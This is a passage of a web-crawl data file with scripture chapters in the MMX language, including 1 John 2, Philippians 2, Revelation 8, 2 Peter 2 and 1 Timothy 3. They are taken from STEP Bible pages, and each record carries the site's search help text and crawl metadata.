2018","id":"","dump":"CC-MAIN-2018-43","url":"https:\/\/www.stepbible.org\/?q=version=MMX%7Creference=Jam.1","date":"2018-10-15T23:03:31Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-43\/segments\/1539583509958.44\/warc\/CC-MAIN-20181015225726-20181016011226-00454.warc.gz","language":"mmx","language_score":1.0000085831,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"mmx_Latn_score\": 1.0000085830688477}","num_words":1033,"character_repetition_ratio":0.051,"word_repetition_ratio":0.0,"special_characters_ratio":0.218,"stopwords_ratio":0.326,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1 John 2\nIesu Neni Laradi Loklox Arooro Atdik1 Luvutnuruk orong. Nia a malagan na levelinga rinemi kusu mi noxo lok taxapmek. Ketla do tara na lok laxakapmek, ne Iesu Karisito neni Leeme Mokmokso naba lok tooro i, naba sing saparap ne Moroa ne Temen dik, kusu ne Moroa naba doxoma xepe mo laxakapmek teren. 2 Iesu neni laxaavuk tidik la ni ga lok langas kusu ne Moroa na doxoma xepe laxakapmek atdik. La ni noxo domampe laxakapmek atnedik kusuk mun, ketla neni ba doxoma xepe bok laxakapmek at limixin axap at na lavatbung menemen.\n3 Dola nedik ta mu asu levelinga at ne Moroa, i ngan nedik taklen tinotno i do nedik limixin teren. 4 Mo do tara na lok dola neni at ne Moroa, ketla neni kopmen na mu asu levelinga ren, neni laradi xaxarang, la levelinga ruturun at ne Moroa xopmen nak lok keneng at lorooro ren. 5 Ketla mo do tara na mu asu levelinga at ne Moroa, i lox asuusu i do labalamu at ne Moroa ik lox ampana avukat keneng at lorooro ren. Neni na langas nedik ataba ven asuusu ba i do nedik dit kis esogo mi ne Moroa; 6 do taradi na doma i do lorooro ren ik lok keneng at ne Moroa, lavatpas teren na lok ngan tinotno ne Iesu Karisito.\nLeretere Maxat7 Larapen tangas orong tarak. Na levelinga a malagan li vam i, kopmen leretere maxat. Levelinga ganoxa min, la miga ruuna ka i at lurutu kaxat at lunuunu atnimi saparap ne Iesu Karisito, la mo levelinga migara ronga vam i ni levelinga me migomgo. 8 Ketla nia ana malagan li leretere maxat, ne Iesu ga lox asuusu i at lorooro ren la ik lok bok keneng at lorooro atnimi. Do tara na mu asu na levelinga, i lox asuusu i do lamain ira xap la laxasep i vubeles pam at lorooro ren.\n9 Do tara na tong i do neni i nemen at laxasep, ketla neni ik milik angtungun ti neton, ni move i nemen keneng at lamain. 10 Do tara na balamu neton, neni i nemen keneng at laxasep la kopmen taxapmek nabak lok teren kusu na lox asak kikixin i. 11 Ketla do tara nak milik angtungun ti neton, neni i nemen keneng at lamain, la lavatpas teren at na lorooro xopok ik lok at lamain kerekngan laradi luxatli ren i main, la it pas tangtagap gamasa mila laxakapmek ik lok pe luxatli ren.\n12 Nenia a malagan na lovoang tinemi luvutnuruk orong. Lavasuun teren keretna, Moroa ira doxoma xepe vam laxakapmek atnimi maxeneng at laasen at ne Iesu Karisito. 13 Nenia a malagan na lovoang tinemi limixin mukun. Lavasuun teren keretna, nemi miklen ne Iesu Karisito mo gak lok ganoxa at lereot. Nenia a malagan na lovoang tinemi limixin maxat. Lavasuun teren keretna, nemi mira on basinge vam loklok kakapmek at ne Satan. Nia a malagan na lovoang tinemi luvutnuruk orong. Lavasuun teren keretna, miklen ne Moroa, ne Temen dik. 14 Nia a malagan na lovoang tinemi limixin mukun. Lavasuun teren keretna, nemi miklen ne Iesu Karisito mo gak lok ganoxa at lereot. Nia a malagan na lovoang tinemi limixin maxat. Lavasuun teren keretna, nemi mi tu tuxuruxun at lunuunu atnimi la levelinga at ne Moroa i lox asuusu lempanga nunuan at lorooro atnemi; la mira on basinge vam loklok kakapmek at ne Satan.\nNemen Mita Mumu Asu Loklok At Na Lavatkangka15 Nemen mita ngaongao mu loklok at na lavatkangka eburu mi lapnovos teren. Mo do tara na ngaongao mu i, naba lox asuusu i do labalamu at ne Moroa, ne Temen dik kopmen nak lok keneng teren. 16 Leveloklok axap at na lavatkangka ngan levempavara kapmek at labantuxu, levereven peves, la loklox asilok, nedi na leveloklok kopmen na laa boro at ne Temen dik. Mo leveloklok i suusu at loklok at lavatkangka. 17 La na lavatkangka eburu mi leveloklok kakapmek teren, naba xap. Ketla laradi do i mumu asu lavavara at ne Moroa, neni naba rooro avolo.\nLavapaase Aronga Mumu Nedi Di Munepen Mi Ne Iesu18 Luvutnuruk orong. Levenaleng kavaxap at na lavatbung menemen ira rupot pam. Gano nemi miga ronga levelinga do laradi munepen ba rupot, la buaang atdi dira rupot pam. Kuren la nedik diraklen i do levenaleng kavaxap i rupot pam. 19 Gano diga nemen eburu minedik ngan limixin at ne Iesu Karisito. Ketla nedi goxopmen limixin teren; kuren la diga on basinge dik. Nedi do gita nuunu at ne Iesu Karisito, nedi gitoxo on basinge dik. Ketla diga on basinge vam dik, kuren la dik ta xasep do nedi xopmen at ne Iesu Karisito.\n20 Ketla ne Iesu Karisito, Leeme Melemelengan, ga raba vam nimi mi Loroonan Kaala at ne Moroa, kuren la nemi axap miga ruuna ka vam levelinga ruturun teren. 21 Nia a malagan na lovoang tinimi kopmen do mixoklen levelinga ruturun teren, ketla a malagan i na mila mikleklen levelinga ruturun la kopmen taxaxarang i nemen atnedi di ruuna levelinga ruturun at ne Moroa. 22 Nege neni laradi vapaase xaxarang? Ni laradi i paase keretna, \"Iesu neni kopmen Lanarong at ne Moroa.\" Ni na laradi ik sok tixirixes kepe ne Temen dik eburu mi ne Nitna; kuren la neni laradi munepen at ne Moroa. 23 Do taradi i sok tixirixes kepe ne Nitna ne Moroa, i ngan do neni i sok tixirixes kepe bok ne Temen. Do taradi i nuunu at ne Nitna ne Moroa, neni i nuunu bok at ne Moroa, ne Temen nedik.\n24 Minam tebeng lolos amisik mo levelinga miga ronga i, ap mo levenaleng miga ruuna ka lunuunu maxat. Do kuren, minabat kis esogo amisik mi ne Nitna, la ne Temen. 25 La neni naba lox epovo lavapaase alii ren, no ni ga xaape min tinedik keretna, neni naba raba nedik mi lorooro avolo.\n26 Nia a malagan na levelinga rinemi ri lox axasep nimi mi loklok at limixin di lok tong i xusu dina sar asoogong nimi. 27 Ketla nemi miga ruuna ka vam Loroonan Kaala, ne Iesu Karisito ga raba nimi min, la mo Loroonan Kaala ik lok keneng atnemi. La ixo epovo do tara na anasa nimi, ketla Loroonan Kaala i lox axasep nimi mi lempanga axap, la mo Loroonan Kaala xopmen laxaxarang mun, ketla ni i ruturun. La nemi minat kis esogo mi ne Iesu kerekngan Loroonan Kaala ira lox ase vam nemi min.\n28 Luvutnuruk orong. Minat kis esogo amisik mi ne Iesu kusu at lovotpot teren mi noxo marat la mi noxo mangan.\n29 Nemi mi xasep do ne Iesu neni Leeme Mokmokso, la kerepmo nemi mi xasep bok do laradi ik lok leveloklok nunuan, i lox asuusu i do neni i ruuna ka vam livipisik amaxat.\nCopyright information for `MMX\nWelcome to STEP Bible\nFrom Tyndale House, Cambridge UK\nUse the search box to find Bibles, commentaries, passages, search terms, etc. Here are some examples:\nESVGen 1\nThis shows how to quickly lookup a passage.\nNIVESVKJVGen 1\nLooking up a passage in three different translations is also easy.\nESVbrother\nThis asks STEP to search for the Greek word for 'brother' and show the results in the ESV.\nNIVESVlandhe.sed\nThis example runs both a 'Hebrew word search' and a 'Text' search and shows the results in both the NIV and ESV.\nESVthroneDavidIsa-Rev\nYou can mix most searches. This finds any word translated as 'throne' in the Prophets and the New Testament, but only in verses concerning the topic 'David'. This excludes verses which refer to a 'throne' in other contexts.\nKJVWHNUJohn 1\nInterlinear Hebrew & Greek is available for some translations with grammar (and more soon). To reverse the interlinear order, click on a version abbreviation under the verse number.\n© Tyndale House, Cambridge, UK - 2018","id":"","dump":"CC-MAIN-2018-43","url":"https:\/\/www.stepbible.org\/?q=version=MMX%7Creference=1Jo.2","date":"2018-10-19T06:55:04Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-43\/segments\/1539583512332.36\/warc\/CC-MAIN-20181019062113-20181019083613-00039.warc.gz","language":"mmx","language_score":1.000002265,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"mmx_Latn_score\": 1.0000022649765015}","num_words":1245,"character_repetition_ratio":0.084,"word_repetition_ratio":0.024,"special_characters_ratio":0.214,"stopwords_ratio":0.292,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Philippians 2\nLangsangan Loklok Ngangao La Lisisilok At Ne Karisito1 Lorooro atnimi keneng at ne Karisito i lox alolos nimi la labalamu ren i lox amenemen bok nimi. Nemi mit kis esogo mi Loroonan Kaala la mira ruuna ka vam lebelemumu. 2 Kuren la a sing alolos nimi xusu mina lox epampana lomomo rak mi leveloklox avukat keretna; mina ruuna ka legesa doxoma, labalamu ela, mi legese belen. 3 Nemen mita doma i do mina lox asilok nimi, ketla mina lox asi nimi maxopok at limixin; amisik mina doxoma mumu nunuan nedi avot la melemu ba nemi, la mina umsu mi langsangan loklok ngangao. 4 Nemi getgesara nemen gat mita reven mun ti levempanga nemi mi vavara rin, ketla i lox avukat do mina reven bok ti levempanga luvuttadi vetpes di vavara rin.\n5 Levendoxoma atnimi na mumu asu mene lodoxoma at ne Iesu Karisito.\n6 Neni gat pas mi lamakmaran at ne Moroa, ketla neni goxo doma i do mi lololos axa ren la neni naba silok ngan ne Moroa. 7 Ketla ti na, at lavavara xa ren, ni ga on basinge nom lixitkis silok teren, la ga lok ka lorooro at lasaxaruki. Neni ga vee radi, 8 la ga vas su ngan laradi ruturun. Neni ga lox axakalix i la gat pas at langas tongtonga res uto epopolo at lanmet teren to at laxaba. 9 Na mun i lavasuun teren la ne Moroa ga rebeng kaxat kaka i uto vana xa la ga lox asilox i mi laasen i silok axap ti loxonaleng. 10 Kuren la limixin axap dina lok ngangao at laasen at ne Iesu; nedi limixin no vana at laxalibet la nedi bok at na lavatbung menemen la nedi bok diga met pam; nedi axap dinaba xis tiktikbu mi lempatgulom atdi. 11 La nedi axap diba tong asu i dola ne Iesu Karisito neni Leeme Silok la kerepmo dina emi asu mi ne Moroa, ne temen dik.\nMina Babao Ngan Laxampenti12 Larapen tangas orong tarak. Migang tonga res amisik tarak ap mo levenaleng, nenia aga nemen eburu minemi, la nemi move mirang tonga res bok tarak at na levenaleng nia a nemen paxalom basinge nemi. Kuren la mina gugu lolos kusu lorooro atnimi naba lok nunuan at lemeren ne Moroa, eburu mi loklok ngangao, 13 mila ne Moroa i gugu amisik keneng at lorooro atnimi ri lok amisik nemi xusu mina vara lodoxoma ren la mina epovo xusu mina mu asu i.\n14 At levempanga axap mi lox i, nemen mita gagalinga la mita etep mi levelinga, 15 kusu luruptuvuk atnimi ba nunuan la miba dadat basinge laxakapmek atnimi la nemi minaba lok ngan laxamdak at ne Moroa ap mo levenaleng mi nemen kantubu at limixin kakapmek at na lavatbung menemen, mo di umsu mi laxapmek. Do lorooro atnimi na nemen kuren, minaba babao ngan laxampenti i soosoo axasep bok lamavangkap. 16 Mina nemen avukat at levenaleng mi tong asu levelinga at lorooro rinedi. Dola mina lox i kuren, nenia bok anaba xip aurut nimi at laaleng ete at ne Karisito, mo naba lox asuusu i do lugugu rak la lololos tarak goxo xap gamasa at lugugu ren. 17 Ketla i lox avukat mun do dina sev amer ia, kusu labantuxu rak naba lok ngan laplavang atnimi saparap ne Moroa la na laramtaba naba lox asuusu lunuunu atnimi; mo do kuren a lok momo eburu minimi. 18 La kerepmo bok mina lok momo la mina sosoro eburu minia.\nTimoti La Ne Epaprodaitas19 Dola lavavara at Leeme Silok ne Iesu, a doxoma i do aba riki soso ne Timoti udom saparap nemi, kusu nenia aba ronga tevelinga mumu nimi, kusu naba lox alolos ia. 20 Kopmen tara i lok ngan ne Timoti, im doma amisik lorooro atnimi. 21 Buaang limixin dik lox angtang axa mi levempanga atdi, ketla kopmen dinam doma solo lugugu at ne Iesu Karisito. 22 La nemi miklen pam i do neni gara lox asuusu vam lugugu avukat teren, atla neni ga gugu eburu minia ri tong asu Lagale Lavavang, kerekngan lamdak i gugu eburu mi ne temen. 23 Kuren la a gagas ti riki soso i udom saparap nemi dola anaklen i do dina lok lavanga salai ria. 24 Laa nuunu at Leeme Silok dola nenia xa aba vot soso saparap nemi.\n25 A doxoma i do i lox avukat bok do ana riki amlong neton dik ne Epaprodaitas udom saparap nemi; neni ga gugu la ga esep at lenep tarak, la ni ga lok ngan lasaxaruki atnemi atla neni gap kip leveloklok tooro atnemi ria. 26 Neni i vara aleng i do na ven nemi axap ketla i lok bukbulu atla miga ronga i do neni ga meres. 27 I ruturun neni ga meres la ma lixilik ga lok do na met. Ketla ne Moroa ga balamu i, kopmen do neni xusuk, Moroa ga balamu box ia la ga lox asepsu ia basinge lainbulu silok atla ni ga lox aroo ne Epaprodaitas. Kuren la nenia agoxo suma manga lainbulu silok. 28 La a vara rino i do ana riki i saparap nimi, kusu nemi ba lok momo dola mina ven tu ren. Kuren la lodoxoma rak naba xis aulis. 29 Mina seega rangarang i mi lomomo silok ngan neton nimi at Leeme Silok; mina lok ngangao at luvuttadi ngan i, 30 mila neni ga raba lorooro ren la ma lixilik gita met mumu lugugu at ne Karisito, kusu ri lok tooro ia mi mo lugugu nemi xa xopmen mi goxo epovo na lox i.\nCopyright information for `MMX\nWelcome to STEP Bible\nFrom Tyndale House, Cambridge UK\nUse the search box to find Bibles, commentaries, passages, search terms, etc. Here are some examples:\nESVGen 1\nThis shows how to quickly lookup a passage.\nNIVESVKJVGen 1\nLooking up a passage in three different translations is also easy.\nESVbrother\nThis asks STEP to search for the Greek word for 'brother' and show the results in the ESV.\nNIVESVlandhe.sed\nThis example runs both a 'Hebrew word search' and a 'Text' search and shows the results in both the NIV and ESV.\nESVthroneDavidIsa-Rev\nYou can mix most searches. This finds any word translated as 'throne' in the Prophets and the New Testament, but only in verses concerning the topic 'David'. This excludes verses which refer to a 'throne' in other contexts.\nKJVWHNUJohn 1\nInterlinear Hebrew & Greek is available for some translations with grammar (and more soon). To reverse the interlinear order, click on a version abbreviation under the verse number.\n© Tyndale House, Cambridge, UK - 2018","id":"","dump":"CC-MAIN-2018-43","url":"https:\/\/www.stepbible.org\/?q=version=MMX%7Creference=Phili.2","date":"2018-10-23T20:01:58Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-43\/segments\/1539583517376.96\/warc\/CC-MAIN-20181023195531-20181023221031-00479.warc.gz","language":"mmx","language_score":0.9999963045,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"mmx_Latn_score\": 0.9999963045120239}","num_words":1047,"character_repetition_ratio":0.045,"word_repetition_ratio":0.0,"special_characters_ratio":0.218,"stopwords_ratio":0.264,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Revelation of John 8\nLanasip Ga Ba Kaxat Kepe Levelumlut Sepsev Avanuti1 La Lanasip ga ba kaxat kepe levelumlut sepsev avanuti, la lenmila aoon ga nemen to vana at laxalibet at lavantun sangaun minit.\n2 La aga ven lavanuti lubungangelo mo di tu amisik to melamgo at ne Moroa, la diga lok ka lavanuti leventu.\n3 La lara laangelo vetpes, mo gam tebeng logol tingtigon kusu ri xotos levempavaxan una mavak, neni ga vot la ga tu saparap loxonin laplavang to melamgo at ne Moroa. La ni ga lok ka laxampavaxan una kusu na xotos i ri ne Moroa la ga raba bok ne Moroa mi levesingising at limixin teren. Neni ga lox i na ap mo loxonin i gol aleng ga tu ro melamgo at loxonin orong at ne Moroa. 4 La lusuxa at nom levempavaxan una mavak ga urut boro at lekngen mo laangelo uto vana saparap ne Moroa eburu mi mo levesingising atnedi limixin at ne Moroa. 5 La laangelo ga lok ka lavattingtigon la ga suxa i mi laxao boro at loxonin laplavang la ga lu asi min uto at laxangka, la leretepaavat ga repat aoon mi lavanga ga mam eburu mi langne silok.\nLubungangelo Diga Mas Leventu Atnedi6 Melemu mo lavanuti lubungangelo diga gagas mi lavanuti laratu atnedi kusu dina mas di. 7 Laangelo avot ga mas mo luru ren. La lengkos uat gan bun aleng eburu mi laxao ga subu ukopok ti laxangka eburu mi lada. La lenep sepsev avantun at laxangka ga an axap mi laxao la lenep sepsev avantun bok at larauna ga an axap mi laxao la lempivilis avukat ga an axap.\n8 La laangelo sepsev agepura ga mas luru ren, la mo lara lavanga ga lok ngan lavattaavut silok, laxao gak lok teren, lara ga lu asi min uto xopok at laras. La lenep sepsev avantun at laras ga vee da; 9 la lenep sepsev avantun at lempanga axap di rooro at lebelen laras diga met. La lenep sepsev avantun at levempattaaxup diga lok kapmek.\n10 La laangelo sepsev avantun ga mas luru ren la langsangan lavatpenti ga subu si boro vana at laxalibet ga ngangao lolos ngan loxonaros kao silok, la ga subu at lenep sepsev avantun at laratadan. 11 Laasen ap mo lenti ne Laksoxobi. Lenep sepsev avantun at laradan axap ga so mamao; la buaang nedi limixin diga in ap mo laradan diga met, mila mo levendan ga rem gili la ga so mamao.\n12 La laangelo sepsev avanuet ga mas luru ren la laxangking la lagaaling la larapenti, lara ga sep di la lenep sepsev avantun at laxangking ga buxumin, la lenep sepsev avantun bok at lagaaling ga buxumin, la lenep sepsev avantun at larapenti goxo soosoo. Lenep sepsev avantun at levenaleng kangking, laxangking kopmen goxo soosoo; la lenep sepsev avantun at levenaleng kanimin, lagaaling kopmen goxo soosoo bok.\n13 Nia aga reven i na, la aga ronga lamalom, gang teng lolos to vana at lamavangkap la ni gang teng keretna, \"Naba lok kapmek aleng, naba lok kapmek aleng tinedi limixin di rooro at na lavatbung menemen, mila levenmumuat lolos naba vot at loxonaleng mo lavantun lubungangelo dina mas laratu atdi la mo loxonaleng ira auret ta.\"\nCopyright information for `MMX\nWelcome to STEP Bible\nFrom Tyndale House, Cambridge UK\nUse the search box to find Bibles, commentaries, passages, search terms, etc. Here are some examples:\nESVGen 1\nThis shows how to quickly lookup a passage.\nNIVESVKJVGen 1\nLooking up a passage in three different translations is also easy.\nESVbrother\nThis asks STEP to search for the Greek word for 'brother' and show the results in the ESV.\nNIVESVlandhe.sed\nThis example runs both a 'Hebrew word search' and a 'Text' search and shows the results in both the NIV and ESV.\nESVthroneDavidIsa-Rev\nYou can mix most searches. This finds any word translated as 'throne' in the Prophets and the New Testament, but only in verses concerning the topic 'David'. This excludes verses which refer to a 'throne' in other contexts.\nKJVWHNUJohn 1\nInterlinear Hebrew & Greek is available for some translations with grammar (and more soon). To reverse the interlinear order, click on a version abbreviation under the verse number.\n© Tyndale House, Cambridge, UK - 2018","id":"","dump":"CC-MAIN-2018-43","url":"https:\/\/www.stepbible.org\/?q=version=MMX%7Creference=Rev.8","date":"2018-10-19T21:52:00Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-43\/segments\/1539583512460.41\/warc\/CC-MAIN-20181019212313-20181019233813-00122.warc.gz","language":"mmx","language_score":0.9996452332,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"mmx_Latn_score\": 0.9996452331542969}","num_words":682,"character_repetition_ratio":0.092,"word_repetition_ratio":0.0,"special_characters_ratio":0.206,"stopwords_ratio":0.261,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"aLer 26:11\n2 Peter 2\nLeveloklox Ase Xaxarang1 Luvuttadi vapaase alii xaxarang diga ravasu gano xeneng at limixin me Israel, la lavaeme loklox ase xaxarang bok, dinaba ravasu xa maxeneng atnemi. La dinaba lox abeles nemnem levenanasa xaxarang kusu ri lox asubu lunuunu atnimi. Dinaba sok tixirixes Leeme Silok mo ga un kaka amlong nedi, kuren la nedi xa dinaba ekip tangarang soso mi labaava. 2 La buaang atnimi minaba mu asu leveloklox ase xaxarang atdi, la laxakapmek atnedi maxamang at lixitkis epot; kuren la mumu mun mo leveloklok atnedi, limixin maxamang at lotu dinaba vaase kapmek ti langas at luruturun. 3 La loklok ti belegaao bok at na lavaeme loklox ase xaxarang naba silok la dinaba lok ka lempilas atnimi mi leventetere xaxarang diga doxoma xaka i. La at laxanaleng buaang, ne Moroa ira gagas pam kusu na lok li lumumuat atdi la naba sele utut nedi.\nMoroa Naba Vorang Laxakapmek At Limixin4 Kerepmo ne Moroa goxo ke atnaasan lubungangelo diga lok laxapmek, ketla neni ga lu arup midi to at lemenemen songsongot, la dik lok keneng at loxokoxo at lamain, la diba nemen go se at laaleng ete. 5 La kerepmo bok ne Moroa goxo ke atnaasan bok lavatbung menemen gano, neni ga lox asu laran ti limixin di goxo mu asu lodoxoma ren; la neni ga lox aroo xusuk mun ne Noa, neni laradi ga vavang mumu loklok mokmokso, la eburu bok mi lavanuti leventaba luvuttadi. 6 I lok ngan bok pam ne Moroa ga sele utut bok lumenemen silok to Sodom la Gomora mi laxao; la neni ga lox i na ngan ni lampoovo ri lavanga salai naba vot atnedi dixo mumu asu lodoxoma ren. 7 Neni ga lox aroo asu laradi mokmokso ne Lot, la neni laradi gak bulu aleng mumu lorooro bilinga at limixin to Sodom la Gomora di goxo mumu asu levelinga at ne Moroa. 8 Mo laradi avukat gak lox eburu minedi, at laxanaleng axap; la neni gang songot mi lanbulu at levenaleng neni ga reven i la gang tonga leveloklok kakapmek atnedi. 9 Kuren la Leeme Silok ne Moroa i epovo ri lox asepsu limixin avukat basinge levesongsongot, la i epovo bok kusu na lok li limixin tongtonga xepe ro xeneng at loxokoxo la na lox asongot nedi se at laaleng ete. 10 Naba lok tinotno xuren tinedi di mumu asu levendoxoma xapmek at labantuxu la ding tonga xepe levelinga at ne Moroa.\nLoklok At Lavaeme Loklox Ase XaxarangLa nedi na lavaeme loklox ase xaxarang, di abelemes tinotno la dik lox asilok di, la dixok lox asu loklok ngangao atnedi ri limixin di nemen to vana at laxalibet, ketla di paase xapmek mumu di. 11 Ketla lubung angelo di ruuna lololos polo nedi na lavaeme loklox ase xaxarang, dixo babala raba na lavaeme loklox ase xaxarang at lemeren Leeme Silok. 12 Ketla ana limixin, di tu eburu xusu ri paase xapmek mumu limixin keneng at levempanga nedi dixokleklen i, la dip tuvuk baulang ngan levempanga aaxa mi lavanuet kangkedek atnedi; lugugu mun atnedi keretna, diga visik mun di xusu dinabak lox alis kaka di la dinap sev amet nedi; la dinaba seeve ngan laxampanga aaxa mi lavanuet kangkedek atnedi.\n13 La ne Moroa naba vorang nedi mi losongsongot mumu levesongsongot nedi diga raba limixin min. La dik lox amomo nedi xeretna, dik lok levempanga at laxasep at laaleng kangking kusu rik lox epovo lavavara xapmek at labantuxu atnedi; la loklok atdi ik token kantubu atnemi la di mumu asu loklok kakapmek at levenaleng di anan eburu minemi. 14 Di vavara xusuk mun i xusu dinak lok mu lavakin dik lok lengkot kapmek; la levempavara atnedi rik lok leveloklok kakapmek, kopmen na vaxap. La di sasat kaka limixin, lunuunu atdi xopmen na lolos, kusu dina lok laxapmek. La dik lok arala levempeve atnedi mi loklok ti belegaao. Kuren la nedi dik lok maxopok at lasaxaek ne Moroa naba raba di min! 15 Kerepmo diga on basinge langas lom la dirat pas soogong gamasa nga; dira mumu asu nga langas no ne Balam ne nitna ne Beo ga mumu i, neni ga vavara solo i xusu neni nak lok laxapmek kusu neni nabak lok kaka levempilas. 16 Ketla ne Moroa ga musax i xusu laxapmek teren. Kuren la lodongki goxo epovo ri paase, ketla ga ba gili laxaka ren ngan laradi la ga vaase rin kusu na xav i at loklok tangtangku.\n17 Nedi na limixin di lok ngan laraasa mes, la di lok ngan bok lengkon takabu lamanman takabu it mas kepe i. Ne Moroa gara lok li agagas pam loxot tidi ro xeneng tinotno at lamain bonot. 18 Dim simi aurut nedi mi levendoxoma rangtangku la levelinga gamasa. La dik lok lengkot mamangan kusu dinang kan kaka nedi dik lok do dinak sixiro basinge limixin di mumu asu langas kapmek. 19 Di tong taba limixin do dinaba sepmus basinge Lenavolo, ketla nedi xa, di nemen at loxokoxo at laxakapmek mila limixin kerepmo di nemen ngan lavasaxaruki maxopok at lempanga salai imgomgo ridi. 20 Amo dola limixin digara sixiro vam at laxapmek at lavatbung menemen mumu lakleklen atnedi xeneng at Leeme Silok atnedik, la Laradi Loklox Arooro ne Iesu Karisito; la melemu, nedi diramlong mu manga loklok me gano. Nedi na limixin dik lok keretna, dik lok tinotno xeneng at loxot kapmek aleng la i lok kapmek tinotno ri no lorooro xapmek avot nedi digak lok teren. 21 Gitaba lox avukat tinotno rinedi xusu di gitoxoklen langas at lomokmokso; la i lok kapmek tinotno mila di garaklen pam i la melemu diga repukus basinge manga mo levelinga xaala ne Moroa ga raba nedi min. 22 La lavanga nedi dik lox i, i lox asorun leventetere avolo, i lok keretna,\n\"Laman imlomlong kusu na anan laxan biromto ren.\" a\nLa bok,\n\"Lobo do ira susu avukat pam, irat pas bok la ira soe i ro xeneng at lapke.\"\nCopyright information for `MMX\nWelcome to STEP Bible\nFrom Tyndale House, Cambridge UK\nUse the search box to find Bibles, commentaries, passages, search terms, etc. Here are some examples:\nESVGen 1\nThis shows how to quickly lookup a passage.\nNIVESVKJVGen 1\nLooking up a passage in three different translations is also easy.\nESVbrother\nThis asks STEP to search for the Greek word for 'brother' and show the results in the ESV.\nNIVESVlandhe.sed\nThis example runs both a 'Hebrew word search' and a 'Text' search and shows the results in both the NIV and ESV.\nESVthroneDavidIsa-Rev\nYou can mix most searches. This finds any word translated as 'throne' in the Prophets and the New Testament, but only in verses concerning the topic 'David'. This excludes verses which refer to a 'throne' in other contexts.\nKJVWHNUJohn 1\nInterlinear Hebrew & Greek is available for some translations with grammar (and more soon). To reverse the interlinear order, click on a version abbreviation under the verse number.\n© Tyndale House, Cambridge, UK - 2018","id":"","dump":"CC-MAIN-2018-43","url":"https:\/\/www.stepbible.org\/?q=version=MMX%7Creference=2Pe.2","date":"2018-10-19T23:00:31Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-43\/segments\/1539583512460.41\/warc\/CC-MAIN-20181019212313-20181019233813-00136.warc.gz","language":"mmx","language_score":1.0000023842,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"mmx_Latn_score\": 1.000002384185791}","num_words":1115,"character_repetition_ratio":0.051,"word_repetition_ratio":0.0,"special_characters_ratio":0.206,"stopwords_ratio":0.264,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1 Timothy 3\nLuvuttadi Amgomgo At Lotu1 Anai ni levelinga ruturun; mo do tara i vara i do na xip ka lugugu at laradi gomgo at lotu, neni i vara lavanga avukat. 2 Laradi gomgo at lotu neni laradi kopmen tosoogong teren at lemeren limixin; neni latlok at leges atkin mun la it kis atnaasan; la ik lok tatao avukat luruptuvuk teren, loklok teren i lok nunuan mene nga; neni ik lok maraose minedi limixin boro vetpes; la neni i epovo ri lox ase limixin; 3 neni ixo inin tangtangku mi levengkadan lolos la kopmen nak musak soso, ketla neni it kis atnaasan la lorooro ren i umsu mi lumumulus la limila; neni ixo vara solo ri levempilas; 4 neni i epovo ri vaxaxis avukat lixitkis atdi loxoetemen, la i lox ase avukat laxamdak mi laxaalik teren kusu dinang tonga res la dina lok ngangao bok teren. 5 Do tara xopmen naklen ti vaxaxis avukat lixitkis koetemen teren, naba lok ba kereva la ni na lok tatao avukat limixin at ne Moroa? 6 Laradi gomgo neni laradi mi lunuunu ren i xus pam; mila i lok kapmek do neni na lox asilox i la ni na subu beles at lebelemamao at ne Moroa, kerekngan ne Satan. 7 Neni laradi limixin di nemen maxamang at lotu, di lok ngangao ren, kusu neni noxo ruuna ka tevelinga xakapmek at limixin dina lox i rin la ni na subu tup ti lelixo at ne Satan.\nLuvuttadi Loklok Tooro Xeneng At Lotu8 Luvuttadi loklok tooro xeneng at lotu dina umsu mi luruptuvuk avukat at lemeren limixin, la levelinga atdi nak mokso; di noxo inin tangtangku levengkadan lolos, la di noxok lok kaka levempilas at langas kopmen nak mokso; 9 dinam tebeng amisik leveloklox ase at luruturun keneng at lunuunu at ne Moroa la lodoxoma atdi nak lox avukat mun. 10 Una lok tong pen avot be di, la dola dina gugu avukat, dina lok ka ba nom lugugu loklok tooro.\n11 Lavakin bok atdi dinap tuvuk nunuan la di noxo tere mumu, ketla dinat kis atnaasan mun la dina ruturun at levempanga axap.\n12 Na laradi loklok tooro, neni latlok at leges atkin mun, la neni i epovo na vaxaxis avukat laxamdak mi laxaalik teren la nedi axap bok to at loogu ren. 13 Do na luvuttadi loklok tooro dina lok leven gugu avukat, diba lok ka laasen silok la dinaba vaase basabas mi lunuunu atdi xeneng at ne Iesu Karisito.\nLavasuun At Lunuunu Atdik14 Nia a malagan na levelinga ru ketla a doxoma i do aba vot pasa soso box u. 15 Do nia a noxo vot soso, nenu u epovo na lox ase limixin kusu dina lok tatao avukat di keneng at lixitkis koetemen atdi mi ne Moroa; na loklok, ni lavasuun at lotu ruturun at ne Moroa i rooro amisik, neni luxus una la lusu auru at levelinga ruturun.\n16 I ruturun aleng do lotu atdik, ni lavanga i silok aleng mumu Leeme Silok atdik;\n\"Neni ga rupot ngan laradi; Loroonan Kaala ga lox asuusu i do lorooro ren ga nemen mokmokso; la lubungangelo diga ven i. Limixin diga vavang min to at lengkot axap la limixin diga nuunu ren nade at na lavatbung menemen; la ne Moroa ga lok ka i uto vana at laxalibet.\" a\nCopyright information for `MMX\nWelcome to STEP Bible\nFrom Tyndale House, Cambridge UK\nUse the search box to find Bibles, commentaries, passages, search terms, etc. Here are some examples:\nESVGen 1\nThis shows how to quickly lookup a passage.\nNIVESVKJVGen 1\nLooking up a passage in three different translations is also easy.\nESVbrother\nThis asks STEP to search for the Greek word for 'brother' and show the results in the ESV.\nNIVESVlandhe.sed\nThis example runs both a 'Hebrew word search' and 